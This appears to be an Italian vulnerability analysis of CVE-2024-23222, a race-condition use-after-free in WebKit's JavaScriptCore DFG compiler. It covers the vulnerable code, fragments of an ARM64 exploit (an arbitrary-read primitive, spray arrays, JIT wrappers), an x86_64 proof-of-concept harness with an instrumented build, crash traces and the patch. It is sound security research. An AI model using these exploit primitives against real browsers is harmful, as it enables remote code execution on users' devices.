Il `JSValue` restituito non è protetto. Se contiene un puntatore a cella, nulla impedisce che quella cella venga liberata tra il rilascio del lock e il momento in cui il chiamante la utilizza.

### 2.3 Percorsi di consumo per il valore obsoleto

Il `JSValue` restituito può essere consumato attraverso due percorsi. Se la cella diventa obsoleta o non valida attraverso la
finestra di race condition, entrambi i percorsi possono causare un fault.

**Percorso A: `freeze()` sul thread del compilatore.** Il consumatore più diretto è `Graph::freeze()`, che il chiamante invoca immediatamente sul valore restituito:```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
    if (UNLIKELY(!value))
        return FrozenValue::emptySingleton();

    // This dereferences value as a cell:
    RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
    // ...
    FrozenValue frozenValue = FrozenValue::freeze(value);
    // ...
}

Se la cell fosse stata liberata tra il ritorno di `tryGetConstantProperty()` e l'esecuzione di `freeze()`, `value.asCell()->structure()` è un use-after-free.

**Percorso B: marcatura GC durante la finestra allargata.** Nella build di ricerca, il thread del compilatore entra in un
safepoint DFG raw all'interno di `tryGetConstantProperty()` dopo aver letto la proprietà ma prima di restituirla
al chiamante. Ciò permette al thread principale di eseguire la GC mentre il valore di cell stale esiste ancora come
variabile locale nativa raw sul lato del compilatore. Nel PoC Linux x86_64 corrente, il crash riprodotto in modo affidabile
avviene più avanti nella marcatura GC, dove `SlotVisitor` alla fine dereferenzia una cell stale invalida mentre
attraversa i riferimenti heap. La stack trace del crash corrente dimostra che il meccanismo GC successivo consuma il valore
stale; non prova di per sé l'esatto slot contenitore da cui quel puntatore stale è stato raggiunto.

### 2.4 Siti di chiamata

Due punti nel pipeline DFG passano incondizionatamente il risultato di `tryGetConstantProperty()` a `freeze()`:

**ByteCodeParser** — durante l'abbassamento iniziale da bytecode a DFG-IR:```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
    base->asJSValue(),
    *m_graph.addStructureSet(variant.structureSet()),
    variant.offset());
if (constant)
    return weakJSConstant(constant);  // → m_graph.freeze(constant)

Un terzo sito di chiamata in **AbstractInterpreter** chiama anche `freeze()`, ma solo quando il valore restituito è un `GetterSetter*`:```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
    setConstant(node, *m_graph.freeze(result));

Il valore `config.g = -NaN` funge da canale laterale del livello JIT: `Math.min(-NaN, -NaN)` produce pattern di bit diversi nell'interprete rispetto al JIT, osservabili tramite una sovrapposizione di `Int32Array`.

**Wrapper di chiamata JIT.** Un `new Function()` con 7.200 ripetizioni di riempimento di codice morto (`x += 1;` dentro `if(false)`) controlla la dimensione della regione di codice JIT. Il percorso di codice attivo è un semplice dispatcher di funzioni:```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
    'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
    `if(false) { let x = 0; ${deadCodePadding} }
     return func(arg0, arg1, arg2, arg3, arg4);`
);

**Lettura arbitraria.** Dopo aver corrotto la struttura, `jitReadFn` legge `arr[0]` attraverso il puntatore butterfly corrotto, quindi divide per `5e-324` (`Number.MIN_VALUE`) per invertire il NaN-boxing ed estrarre un indirizzo raw:```javascript
const jitReadFn = (state, arr, targetAddr) => {
    state.callFn(corruptFn, state, targetAddr);
    const readValue = arr[0];
    return readValue / 5e-324;  // decode address from NaN-boxed float64
};

La catena: `apply()` legge le proprietà 0–8. La lettura dell'indice 8 attiva il getter, che libera gli array spray. `inlinedFunction` chiama poi `jitTrigger` con `arguments[3]` (l'ormai liberato `sprayArrays[3001]`). La funzione compilata JIT `jitTrigger` interpreta la memoria liberata come valori float64, decodifica gli indirizzi tramite `/ 5e-324` e risolve i puntatori alle istanze WebAssembly per inizializzare una primitiva di lettura/scrittura arbitraria.

### 3.3 Perché questo è specifico per ARM64

Due proprietà di ARM64 rendono questo exploit non portabile su x86_64.

**Ordinamento della memoria.** La corsa multi-struttura S1→S2→S3 descritta nel commit della patch dipende dal debole ordinamento della memoria di ARM64. Quando il thread principale scrive un nuovo valore di proprietà e poi imposta una nuova struttura, ARM64 può riordinare quegli store. Il thread del compilatore può osservare la nuova struttura ma leggere il vecchio valore (stale) della proprietà. Il Total Store Order (TSO) di x86_64 garantisce che se lo store della struttura è visibile, ogni store precedente — inclusa la scrittura della proprietà — è anch'esso visibile. Il meccanismo specifico di riordinamento della memoria su cui si basa la corsa di folding costante multi-struttura non si applica sotto TSO, e questa corsa non è stata osservata manifestarsi su x86_64.

**Layout NaN-boxing.** L'exploit scrive valori float64 artificiosi nelle proprietà degli oggetti, sfruttando il fatto che su ARM64 i pattern di bit di quei double si sovrappongono con gli header delle celle JSC (ID di struttura, puntatori butterfly) nella rappresentazione NaN-boxed. Sebbene JSC su x86_64 utilizzi lo stesso schema NaN-boxing, la codifica specifica degli ID di struttura e il layout dei puntatori differiscono abbastanza da far sì che la tecnica di type-punning ARM64 non produca una corruzione di struttura valida su x86_64.

---

## 4. Adattamento a x86_64

### 4.1 Perché l'attacco ARM64 fallisce su x86_64

La corsa multi-struttura richiede che il thread del compilatore legga un valore di proprietà da una struttura intermedia (S2) mentre il set di strutture profilate contiene solo {S1, S3}. Su x86_64, TSO lo impedisce: il lock di cella in `tryGetConstantProperty()` fornisce sequenziamento, e anche senza il lock, le garanzie di ordinamento degli store garantiscono una coppia (struttura, valore) coerente. Se il thread del compilatore vede la struttura S1, vede il valore di S1. Se vede S2, il controllo della struttura fallisce (S2 non è nel set). La specifica finestra di riordinamento degli store che la debolezza di ordinamento ARM64 apre non si applica sotto TSO.

### 4.2 L'alternativa: cella liberata durante la compilazione

Il proof of concept su x86_64 sfrutta una diversa conseguenza dello stesso TOCTOU. Invece di far sì che il compilatore foldi un valore dalla struttura sbagliata, causa la conservazione da parte del compilatore di un `JSValue` cella-valore obsoleto che diventa non valido nell'intervallo di finestra di corsa ampliata.

La sequenza:

1. `tryGetConstantProperty()` legge una proprietà cella-valore sotto il lock di cella.
2. Il lock si rilascia. Il puntatore alla cella è ora un `JSValue` grezzo sullo stack C++ nativo del thread del compilatore.
3. Il thread principale sostituisce la proprietà (`state.val = 0`), rimuovendo l'ultimo riferimento JavaScript alla cella.
4. Il thread principale attiva la garbage collection.
5. La GC **non** scansiona lo stack del thread del compilatore. I thread del compilatore DFG non acquisiscono mai `JSLock` e quindi non sono mai registrati nel set di thread macchina della GC:```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
    m_lastOwnerThread = thread.uid();
    if (m_vm->heap.machineThreads().addCurrentThread()) {
        // ...
    }
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.

`state.val` contiene la cella di destinazione. `Object.seal()` fissa la struttura in modo che il DFG possa trattare `state` come una costante nota.

**Funzione sonda.** Una funzione generata dinamicamente legge `state.val`. Quando il DFG compila questa funzione, tenta di piegare la costante dell'accesso alla proprietà, entrando in `tryGetConstantProperty()`:```javascript
let probe = new Function(
    'state',
    'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);

**Rilascia e raccogli.** Una volta che il thread del compilatore DFG ha letto la cella (la build strumentata dorme
qui), il thread principale rilascia il riferimento ed esegue la GC. La logica effettiva dell'harness è parametrizzata, ma
la forma di lavoro predefinita è:```javascript
state.val = 0;    // remove the JS reference to the target cell
probe = null;     // drop the probe closure

burnInterpreterRegisters(SCRUB_ROUNDS);

Promise.resolve().then(() => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    runGcSequence();      // repeated GC passes plus allocation pressure
});
drainMicrotasks();

`burnInterpreterRegisters()` è una funzione numerica ricorsiva che sovrascrive gli slot dei registri dell'interprete sullo stack del thread principale, riducendo la probabilità che una scansione conservativa dello stack trovi un puntatore obsoleto alla cella target.

### 5.2 Strumentazione del motore

La build di ricerca modifica `tryGetConstantProperty()` in `DFGGraph.cpp`. Dopo che il lock della cella viene rilasciato e prima che la funzione restituisca, la strumentazione:

1. Scrive opzionalmente un file di segnale (per la sincronizzazione lato JS; disabilitato nella migliore configurazione attuale).
2. Entra in un `Safepoint` DFG grezzo, che rilascia il lock `m_rightToRun` del thread del compilatore. Ciò permette al GC di procedere senza attendere il thread del compilatore.
3. Si sospende per una durata configurabile (default: 500ms).
4. Al risveglio, riacquisisce `m_rightToRun` e verifica se il piano di compilazione è stato cancellato.```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
    Safepoint::Result safepointResult;
    {
        // Raw Safepoint — does NOT register Graph as a Scannable.
        // GC will not visit the Graph's frozen values during this window.
        Safepoint safepoint(m_plan, safepointResult);
        safepoint.begin();          // releases m_rightToRun
        usleep(tgcpSleepUsec());    // default: 500,000 µs
    }                               // destructor re-acquires m_rightToRun

    if (safepointResult.didGetCancelled())
        return JSValue();           // plan was cancelled during sleep
}
return result;  // caller calls freeze(result)

**Flags spiegati:**

| Flag | Scopo |
|------|-------|
| `--useConcurrentJIT=true` | Abilita la compilazione DFG in background (la race condition richiede due thread) |
| `--thresholdForOptimizeAfterWarmUp=20` | Abbassa la soglia di passaggio al tier DFG in modo che la compilazione inizi dopo un warmup minimo |
| `--thresholdForJITAfterWarmUp=5` | Abbassa la soglia del JIT di base |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | Impedisce a FTL di competere con DFG; mantiene la compilazione nel tier DFG |
| `JSC_TGCP_SLEEP_USEC=500000` | Finestra di race condition di 500 ms nella build strumentata |
| `JSC_TGCP_SIGNAL_PATH=''` | Disabilita il file di segnale (solo sincronizzazione basata su temporizzazione) |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | Quarantena grande impedisce che la memoria liberata venga immediatamente riutilizzata |

I flag relativi ai tier sono critici. Senza di essi, la pianificazione del JIT cambia abbastanza da far sì che la compilazione e il rilascio del thread principale perdano allineamento.

---

## 6. Analisi del crash

### 6.1 Il crash durante il marking del GC

Il crash riproducibile principale si verifica durante la garbage collection, quando lo `SlotVisitor` del GC tenta di marcare una cella obsoleta. Un'esecuzione completa rappresentativa si presenta così:```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
    #0  WTF::Dependency::loadAndFence<unsigned int>()
    #1  JSC::MarkedBlock::aboutToMark(unsigned int)
    #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
    #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
    #4  JSC::SlotVisitor::appendHidden(...)
    #5  JSC::SlotVisitor::appendValuesHidden(...)
    #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
    #7  JSC::JSFinalObject::visitChildren(...)
    #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
    #9  JSC::SlotVisitor::drain(...)
    #10 JSC::SlotVisitor::drainFromShared(...)
    #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
    #12 WTF::SharedTaskFunctor<...>::run()
    #13 WTF::ParallelHelperClient::runTask(...)
    #14 WTF::ParallelHelperPool::Thread::work()

A un certo punto in quell'attraversamento, `appendHiddenUnbarriered` riceve un `JSValue` obsoleto con valore di cella e lo tratta come una cella viva:```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);

Il `loadAndFence` legge dall'indirizzo spazzatura `MarkedBlock` (`0x180000008020`), causando il SEGV.

### 6.2 La variante di crash di `freeze()`

In diverse condizioni di temporizzazione, lo stesso TOCTOU produce anche un crash direttamente sul thread worker del compilatore DFG, nel percorso `freeze()`:```
    #0  ClassInfo::isSubClassOf()
    #1  JSCell::inherits()
    #2  jsDynamicCast<CodeBlock, JSCell>()
    #3  Graph::freeze(JSValue)
    #4  ByteCodeParser::weakJSConstant()
    #5  ByteCodeParser::load<GetByVariant>()

La riga `[tgcp] HIT` conferma che `tryGetConstantProperty()` ha costant-folding con successo la proprietà target come valore di cella. La riga `RACE` mostra il thread del compilatore che entra nella finestra ampliata. La riga `WAKE` mostra la ripresa. Il report ASan segnala la cella come "accessibile" — ASan non rileva una semplice violazione di redzone — ma i puntatori interni della cella (ID di struttura, back-pointer `MarkedBlock`) sono obsoleti, causando il crash quando il codice di JSC stesso tenta di usarli.

---

## 7. Strumentazione di Ricerca

### 7.1 Cosa è artificiale

La build di ricerca modifica `tryGetConstantProperty()` in tre modi:

- Un `usleep()` di 500ms amplia la finestra di race. Il motore di serie non ha sleep qui; la finestra naturale tra il rilascio del lock della cella e la chiamata `freeze()` è di nanosecondi.
- Viene inserito un raw `Safepoint` senza registrare il `Graph` come `Scannable`. I safepoint di produzione (via `GraphSafepoint`) aggiungono il `Graph`, che causa al GC di visitare tutti i valori congelati. Il raw safepoint rende la cella non ancora congelata invisibile al GC.
- Le variabili d'ambiente (`JSC_TGCP_SLEEP_USEC`, `JSC_TGCP_SIGNAL_PATH`) controllano la durata del sleep e un file di segnale opzionale.

### 7.2 Cosa non è artificiale

Il crash stesso proviene da percorsi di codice JSC non modificati:

- `JSFinalObject::visitChildrenImpl` e `SlotVisitor::appendHiddenUnbarriered` sono logica di marcatura GC di serie.
- `Graph::freeze()` e `FrozenValue::freeze()` sono logica del compilatore DFG di serie.
- Nessun `__asan_poison_memory_region()` o altra corruzione manuale della memoria viene utilizzato.
- Nessuna sonda esplicita "dereference del puntatore obsoleto qui" viene inserita nel percorso del crash.
- L'harness JavaScript utilizza solo API JSC pubbliche e builtins della shell `jsc` (`optimizeNextInvocation`, `numberOfDFGCompiles`, `fullGC`, `drainMicrotasks`).
- I thread del compilatore DFG non sono effettivamente scansionati dal GC — questo è comportamento di produzione, non un artefatto di ricerca.

### 7.3 Valutazione

La finestra di race naturale è troppo stretta per una riproduzione affidabile su x86_64 senza strumentazione. Su ARM64, l'ordinamento debole della memoria fornisce all'exploit originale una finestra naturale molto più ampia — gli store di struttura e valore possono essere riordinati, quindi il thread del compilatore può osservare uno stato inconsistente senza alcuna assistenza temporale artificiale.

Un ipotetico exploit di produzione su x86_64 avrebbe bisogno o di un modo per bloccare il thread del compilatore nel punto critico (ad esempio, una ricerca di struttura lenta, un lock conteso, o una forma patologica del grafo che ritarda `freeze()`) o di un approccio statistico con molti tentativi di compilazione. La strumentazione sostituisce quel requisito con un sleep deterministico.

---

## 8. La Patch

Il commit WebKit `64714692967ad278155fcae66c5cb0f853b3bf34` di Yusuke Suzuki (revisionato da Mark Lam) corregge la vulnerabilità.

La correzione introduce una nuova classe, `DesiredObjectProperties`, che registra tuple `(JSObject*, PropertyOffset, JSValue, Structure*)` ogni volta che il compilatore DFG effettua constant-folding di un carico di proprietà. Dopo che la compilazione è completata, `Plan::isStillValidOnMainThread()` rilegge queste proprietà sul thread principale e le confronta con i valori registrati. Se una qualsiasi tupla è obsoleta — la struttura dell'oggetto è cambiata, o il valore della proprietà differisce — il piano compilato viene scartato prima di poter essere eseguito.

Questo converte la TOCTOU in un controllo atomico: lo snapshot del compilatore viene validato in un punto di sincronizzazione (finalizzazione del thread principale) prima che il codice ottimizzato venga installato. La UAF in `freeze()` può ancora verificarsi durante la compilazione, ma il codice risultante non viene mai utilizzato.

Per insiemi multi-struttura, il `tryGetConstantProperty()` corretto rifiuta anche il constant-folding completamente quando `structureSet.size() > 1` e non tutte le strutture sono attivamente osservate. Questo elimina l'attacco di transizione transitiva S1→S2→S3 alla fonte.

---

## 9. File

| File | Description |
|------|-------------|
| `toctou_clean_asan_v2.js` | Harness JavaScript proof-of-concept |
| `DFGGraph.cpp` | Funzione vulnerabile (`tryGetConstantProperty`), `freeze()`, e strumentazione di ricerca |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` — il punto di dereferenziazione della cella |
| `DFGByteCodeParser.cpp` | Sito di chiamata `weakJSConstant()` |
| `DFGConstantFoldingPhase.cpp` | Sito di chiamata `emitGetByOffset()` |
| `DFGAbstractInterpreterInlines.h` | Sito di chiamata dell'interprete astratto |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` — sito di crash della marcatura GC |
| `MarkedBlock.h` | `aboutToMark()` — dove si verifica il SEGV |
| `JSLock.cpp` | `didAcquireLock()` — mostra che i thread DFG non sono registrati con il GC |